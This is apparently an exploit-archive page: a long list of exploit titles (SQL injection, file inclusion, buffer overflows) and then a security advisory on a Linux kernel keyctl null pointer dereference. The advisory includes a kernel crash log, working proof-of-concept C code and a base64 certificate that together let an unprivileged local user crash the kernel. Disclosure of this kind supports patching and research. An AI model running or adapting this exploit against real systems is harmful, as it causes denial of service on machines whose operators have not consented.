
8 new exploits MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial of Service MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial Of Service MailEnable Professional/Enterprise 2.37 - Denial of Service MailEnable Professional/Enterprise 2.37 - Denial Of Service Galaxy FTP Server 1.0 - (Neostrada Livebox DSL Router) Denial of Service Galaxy FTP Server 1.0 - (Neostrada Livebox DSL Router) Denial Of Service MailEnable SMTP Service - VRFY/EXPN Command Buffer Overflow Denial of Service MailEnable 3.13 SMTP Service - 'VRFY/EXPN' Command Denial Of Service VideoLAN VLC Media Player - Subtitle StripTags() Function Memory Corruption VideoLAN VLC Media Player 1.1 - Subtitle StripTags() Function Memory Corruption VideoLAN VLC Media Player - XSPF Local File Integer Overflow in XSPF Playlist parser VideoLAN VLC Media Player 1.1.9 - XSPF Local File Integer Overflow in XSPF Playlist parser VideoLAN VLC Media Player - '.3gp' File Divide-by-Zero Denial of Service VideoLAN VLC Media Player 2.0.2 - '.3gp' File Divide-by-Zero Denial Of Service VideoLAN VLC Media Player - '.wav' File Memory Corruption VideoLAN VLC Media Player 2.1.3 - '.wav' File Memory Corruption Microsoft Edge 11.0.10240.16384 - 'edgehtml' CAttrArray::Destroy Use-After-Free Linux Kernel (Ubuntu / RedHat) - 'keyctl' Null Pointer Dereference Microsoft Windows Kernel - Registry Hive Loading 'nt!RtlEqualSid' Out-of-Bounds Read (MS16-138) VideoLAN VLC Media Player - '.TY' File Stack Based Buffer Overflow VideoLAN VLC Media Player 0.9.4 - '.TY' File Stack Based Buffer Overflow VideoLAN VLC Media Player - 'wintab32.dll' DLL Hijacking VideoLAN VLC Media Player 1.1.3 - 'wintab32.dll' DLL Hijacking VideoLAN VLC Media Player - TiVo Buffer Overflow (Metasploit) VideoLAN VLC Media Player 0.9.4 - TiVo Buffer Overflow (Metasploit) VideoLAN VLC Media Player - MKV Memory Corruption (Metasploit) VideoLAN VLC Media Player 1.1.6 - 'MKV' Memory Corruption (Metasploit) VideoLAN VLC Media Player - RealText Subtitle Overflow (Metasploit) VideoLAN VLC Media Player 0.9.5 - RealText Subtitle Overflow (Metasploit) Microsoft Windows - VHDMP ZwDeleteFile Arbitrary File Deletion Privilege Escalation (MS16-138) Microsoft Windows - VHDMP Arbitrary File Creation Privilege Escalation (MS16-138) Microsoft Windows - VHDMP Arbitrary Physical Disk Cloning Privilege Escalation (MS16-138) MailEnable Pro/Ent 2.37 - (APPEND) Remote Buffer Overflow MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow Versant Object Database 7.0.1.3 - Commands Execution Exploit Versant Object Database 7.0.1.3 - Commands Execution VHCS 2.4.7.1 - (vhcs2_daemon) Remote Root Exploit VHCS 2.4.7.1 - 'vhcs2_daemon' Remote Root Exploit MDaemon IMAP server 9.6.4 - (FETCH) Remote Buffer Overflow MailEnable Pro/Ent 3.13 - (Fetch) Authenticated Remote Buffer Overflow MDaemon IMAP server 9.6.4 - 'FETCH' Remote Buffer Overflow MailEnable Professional/Enterprise 3.13 - 'Fetch' Authenticated Remote Buffer Overflow VideoLAN VLC Media Player - AMV Dangling Pointer (Metasploit) VideoLAN VLC Media Player 1.1.4 - 'AMV' Dangling Pointer (Metasploit) VideoLAN VLC Media Player - ModPlug ReadS3M Stack Buffer Overflow (Metasploit) VideoLAN VLC Media Player 1.1.8 - ModPlug ReadS3M Stack Buffer Overflow (Metasploit) VideoLAN VLC Media Player - Mms Stream Handling Buffer Overflow (Metasploit) VideoLAN VLC Media Player 2.0.0 - Mms Stream Handling Buffer Overflow (Metasploit) Easy Internet Sharing Proxy Server 2.2 - SEH Overflow (Metasploit) Disk Pulse Enterprise 9.0.34 - Buffer Overflow Disk Pulse Enterprise 9.0.34 - 'Login' Buffer Overflow Disk Pulse Enterprise - Login Buffer Overflow' (Metasploit) Disk Pulse Enterprise 9.0.34 - 'Login' Buffer Overflow' (Metasploit) WinaXe 7.7 FTP Client - Remote Buffer Overflow (Metasploit) phpMyNewsletter 0.6.10 - (customize.php l) Remote File Inclusion phpMyNewsletter 0.6.10 - 'customize.php' Remote File Inclusion QuickTalk forum 1.3 - 'lang' Local File Inclusion QuickTicket 1.2 - (qti_checkname.php) Local File Inclusion QuickTalk forum 1.3 - 'lang' Parameter Local File Inclusion QuickTicket 1.2 - 'qti_checkname.php' Local File Inclusion Mambo Component com_Musica - 'id' SQL Injection phpArcadeScript 3.0RC2 - (userid) SQL Injection phpComasy 0.8 - (mod_project_id) SQL Injection Dynamic photo Gallery 1.02 - 'albumID' SQL Injection Mambo Component com_Musica - 'id' Parameter SQL Injection phpArcadeScript 3.0RC2 - 'userid' Parameter SQL Injection phpComasy 0.8 - 'mod_project_id' Parameter SQL Injection Dynamic photo Gallery 1.02 - 'albumID' Parameter SQL Injection XOOPS Module Glossario 2.2 - 'sid' SQL Injection XOOPS Module wfdownloads - 'cid' SQL Injection XOOPS Module Glossario 2.2 - 'sid' Parameter SQL Injection XOOPS Module wfdownloads - 'cid' Parameter SQL Injection Joomla! Component Candle 1.0 - (cID) SQL Injection QuickTicket 1.5 - (qti_usr.php id) SQL Injection Joomla! Component Candle 1.0 - 'cid' Parameter SQL Injection QuickTicket 1.5 - 'qti_usr.php' SQL Injection Mambo Component eWriting 1.2.1 - (cat) SQL Injection phpMyNewsletter 0.8b5 - (archives.php msg_id) SQL Injection Mapbender 2.4.4 - (mapFiler.php) Remote Code Execution Mapbender 2.4.4 - (gaz) SQL Injection Mambo Component eWriting 1.2.1 - 'cat' Parameter SQL Injection phpMyNewsletter 0.8b5 - 'msg_id' Parameter SQL Injection Mapbender 2.4.4 - 'mapFiler.php' Remote Code Execution Mapbender 2.4.4 - 'gaz' Parameter SQL Injection phpBB Mod FileBase - 'id' SQL Injection phpBB Mod FileBase 2.0 - 'id' Parameter SQL Injection XOOPS Module Gallery 0.2.2 - (gid) SQL Injection XOOPS Module My_eGallery 3.04 - (gid) SQL Injection XOOPS Module Gallery 0.2.2 - 'gid' Parameter SQL Injection XOOPS Module My_eGallery 3.04 - 'gid' Parameter SQL Injection XOOPS Module tutorials - 'printpage.php' SQL Injection XOOPS Module tutorials 2.1b - 'printpage.php' SQL Injection easygallery 5.0tr - Multiple Vulnerabilities EasyGallery 5.0tr - Multiple Vulnerabilities phpArcadeScript 4 - (cat) SQL Injection phpArcadeScript 4 - 'cat' Parameter SQL Injection phpComasy 0.9.1 - (entry_id) SQL Injection phpComasy 0.9.1 - 'entry_id' Parameter SQL Injection phpArcadeScript 4.0 - (linkout.php id) SQL Injection phpArcadeScript 4.0 - 'id' Parameter SQL Injection Myiosoft EasyGallery - 'catid' Blind SQL Injection EasyGallery - 'catid' Parameter Blind SQL Injection phpArcadeScript 2.0 - tellafriend.php gamename Parameter Cross-Site Scripting phpArcadeScript 2.0 - loginbox.php login_status Parameter Cross-Site Scripting phpArcadeScript 2.0 - 'index.php' submissionstatus Parameter Cross-Site Scripting phpArcadeScript 2.0 - browse.php Multiple Parameter Cross-Site Scripting phpArcadeScript 2.0 - displaygame.php gamefile Parameter Cross-Site Scripting EasyGallery 1.17 - EasyGallery.php Cross-Site Scripting Bloo 1.00 - Googlespell_Proxy.php Cross-Site Scripting Mitra Informatika Solusindo Cart - 'p' Parameter SQL Injection
198 lines
No EOL
7.3 KiB
C
Executable file
198 lines
No EOL
7.3 KiB
C
Executable file
/*
|
|
OS-S Security Advisory 2016-21
|
|
Local DoS: Linux Kernel Nullpointer Dereference via keyctl
|
|
|
|
Date:
|
|
October 31th, 2016
|
|
Authors:
|
|
Sergej Schumilo, Ralf Spenneberg, Hendrik Schwartke
|
|
CVE:
|
|
Not yet assigned
|
|
CVSS:
|
|
4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
|
|
Severity:
|
|
Potentially critical. If the kernel is compiled with the option
|
|
“Panic-On-Oops”, this vulnerability may lead to a kernel panic.
|
|
Ease of Exploitation:
|
|
Trivial
|
|
Vulnerability Type:
|
|
Local unprivileged kernel nullpointer dereference
|
|
|
|
Abstract:
|
|
A malicious interaction with the keyctl usermode interface allows an
|
|
attacker to crash the kernel. Processing the attached certificate by the
|
|
kernel leads to a kernel nullpointer dereference. This vulnerably can be
|
|
triggered by any unprivileged user locally.
|
|
|
|
Detailed product description:
|
|
We have verified the bug on the following kernel builds:
|
|
Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
|
|
RedHat Kernel 3.10.0-327.18.2.el7.x86_64
|
|
|
|
Vendor Communication:
|
|
We contacted RedHat on June, 06th 2016.
|
|
To this day, no security patch was provided by the vendor.
|
|
We publish this Security Advisory in accordance with our responsible
|
|
disclosure policy.
|
|
|
|
Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1343162
|
|
|
|
Proof of Concept:
|
|
As a proof of concept, we are providing a sample exploit program and the
|
|
associated certificate.
|
|
|
|
Severity and Ease of Exploitation:
|
|
The vulnerability can be easily exploited by an unprivileged user using
|
|
our proof of concept.
|
|
|
|
dmesg-Report:
|
|
[ 40.067569] BUG: unable to handle kernel NULL pointer dereference at
|
|
(null)
|
|
[ 40.068251] IP: [<ffffffff81341911>] mpi_powm+0x31/0x9b0
|
|
[ 40.068710] PGD c853067 PUD 186bd067 PMD 0
|
|
[ 40.069090] Oops: 0002 [#1] KASAN
|
|
[ 40.069384] Modules linked in: kafl_vuln_test(OE) ext4(OE)
|
|
mbcache(OE) jbd2(OE)
|
|
[ 40.070043] CPU: 0 PID: 143 Comm: guest_interface Tainted: G
|
|
OE 4.4.0 #158
|
|
[ 40.070666] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
|
|
BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
|
|
[ 40.071533] task: ffff88001864b100 ti: ffff88000c880000 task.ti:
|
|
ffff88000c880000
|
|
[ 40.072117] RIP: 0010:[<ffffffff81341911>] [<ffffffff81341911>]
|
|
mpi_powm+0x31/0x9b0
|
|
[ 40.072743] RSP: 0018:ffff88000c887bf0 EFLAGS: 00010246
|
|
[ 40.073165] RAX: 0000000000000020 RBX: 0000000000000020 RCX:
|
|
ffff8800186b33f0
|
|
[ 40.073727] RDX: ffff8800186b3930 RSI: ffff8800186b32a0 RDI:
|
|
ffff8800186b37e0
|
|
[ 40.074481] RBP: ffff88000c887cc0 R08: ffff880010000c00 R09:
|
|
ffffed00030d6700
|
|
[ 40.075049] R10: ffffea000061ace0 R11: ffff880010000c08 R12:
|
|
0000000000000000
|
|
[ 40.075616] R13: ffff8800186b37e0 R14: 0000000000000000 R15:
|
|
ffff8800186b32a0
|
|
[ 40.076174] FS: 0000000000911880(0063) GS:ffffffff81c2f000(0000)
|
|
knlGS:0000000000000000
|
|
[ 40.076815] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
|
|
[ 40.077266] CR2: 0000000000000000 CR3: 000000000c817000 CR4:
|
|
00000000000006f0
|
|
[ 40.077850] Stack:
|
|
[ 40.078018] 0000000000000001 ffffea0000321000 0000000000000000
|
|
ffff8800100026c0
|
|
[ 40.078646] ffffffff8118dff6 ffff8800186b37ff ffffffff8118dff6
|
|
ffff8800186b37ff
|
|
[ 40.079286] 1ffff100030d6700 ffff88000c887c58 ffffffff8118e06e
|
|
ffff8800185c95f8
|
|
[ 40.079925] Call Trace:
|
|
[ 40.080129] [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
|
|
[ 40.080642] [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
|
|
[ 40.081139] [<ffffffff8118e06e>] ? kasan_kmalloc+0x5e/0x70
|
|
[ 40.081582] [<ffffffff81342320>] ? mpi_alloc+0x20/0x80
|
|
[ 40.082006] [<ffffffff812cee6c>] ? RSA_verify_signature+0x36c/0xf60
|
|
[ 40.082512] [<ffffffff812ceec5>] RSA_verify_signature+0x3c5/0xf60
|
|
[ 40.083001] [<ffffffff812ceb00>] ? public_key_describe+0x160/0x160
|
|
[ 40.083507] [<ffffffff812ce5c5>] public_key_verify_signature+0x785/0xb20
|
|
[ 40.084043] [<ffffffff812d5bad>] x509_check_signature+0x9d/0x320
|
|
[ 40.084531] [<ffffffff812d6461>] x509_key_preparse+0x631/0x1210
|
|
[ 40.085014] [<ffffffff812cbe1a>] ? asymmetric_key_preparse+0x26a/0x530
|
|
[ 40.085534] [<ffffffff812cbce7>] asymmetric_key_preparse+0x137/0x530
|
|
[ 40.086981] [<ffffffff8126b8fb>] ? key_type_lookup+0x4b/0x80
|
|
[ 40.087437] [<ffffffff8126ba67>] key_create_or_update+0x137/0x450
|
|
[ 40.087942] [<ffffffff8126d2e7>] SyS_add_key+0x117/0x200
|
|
[ 40.088381] [<ffffffff81741d33>] entry_SYSCALL_64_fastpath+0x16/0x75
|
|
[ 40.088890] Code: 41 56 41 55 41 54 53 48 81 ec a8 00 00 00 8b 41 04
|
|
44 8b 72 04 4c 8b 67 18 85 c0 89 45 a4 0f 84 da 07 00 00 45 85 f6 75 38
|
|
89 c3 <49> c7 04 24 01 00 00 00 b8 01 00 00 00 83 fb 01 0f 84 84 01 00
|
|
[ 40.091203] RIP [<ffffffff81341911>] mpi_powm+0x31/0x9b0
|
|
[ 40.091645] RSP <ffff88000c887bf0>
|
|
[ 40.091924] CR2: 0000000000000000
|
|
[ 40.092207] ---[ end trace 3d4c5681d47247c7 ]---
|
|
[ 40.092566] Kernel panic - not syncing: Fatal exception
|
|
[ 40.092968] Kernel Offset: disabled
|
|
[ 40.093242] Rebooting in 1 seconds..
|
|
|
|
Proof of Concept (Code):
|
|
*/
|
|
|
|
/*
|
|
*
|
|
* base64 -d < certificate.base64 > test.crt
|
|
* gcc test.crt -lkeyutils
|
|
* ./a.out
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <stdint.h>
|
|
#include <fcntl.h>
|
|
#include <sys/mman.h>
|
|
#include <string.h>
|
|
#include <sys/mount.h>
|
|
#include <errno.h>
|
|
#include <signal.h>
|
|
#include <keyutils.h>
|
|
|
|
int main(){
|
|
FILE *infile;
|
|
char *buffer;
|
|
long numbytes;
|
|
|
|
key_serial_t key_id;
|
|
key_serial_t keyring_id;
|
|
|
|
infile = fopen("test.crt", "r");
|
|
if(infile == NULL)
|
|
return 1;
|
|
|
|
fseek(infile, 0L, SEEK_END);
|
|
numbytes = ftell(infile);
|
|
|
|
fseek(infile, 0L, SEEK_SET);
|
|
|
|
buffer = (char*)calloc(numbytes, sizeof(char));
|
|
|
|
if(buffer == NULL)
|
|
return 1;
|
|
|
|
fread(buffer, sizeof(char), numbytes, infile);
|
|
fclose(infile);
|
|
|
|
/* inject fuzzed x509 DER data into asymmetric crypto kernel code */
|
|
key_id = add_key("asymmetric", "", buffer, numbytes, 0xfffffffd);
|
|
printf("Oops?!\n");
|
|
|
|
if(key_id != -1){
|
|
keyctl_unlink(key_id, 0xfffffffd);
|
|
}
|
|
|
|
free(buffer);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
Proof of Concept (Certificate):
|
|
|
|
MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
|
|
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
|
|
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
|
|
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
|
|
NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
|
|
YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
|
|
LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
|
|
hvcNAQEBBQADggEPADCCAQgCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
|
|
K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
|
|
c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
|
|
IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
|
|
dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAQAAAaNC
|
|
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
|
|
2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9
|
|
cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
|
|
Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
|
|
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
|
|
t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
|
|
--
|
|
*/ |